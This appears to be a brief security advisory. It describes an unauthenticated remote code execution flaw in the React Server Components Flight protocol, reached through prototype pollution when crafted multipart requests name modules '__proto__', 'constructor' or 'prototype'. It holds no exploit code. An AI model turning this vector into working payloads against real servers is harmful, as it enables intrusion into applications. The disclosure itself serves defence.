              A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
              Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
              pollution during deserialization of RSC payloads by sending specially crafted multipart
              requests with "__proto__", "constructor", or "prototype" as module names.
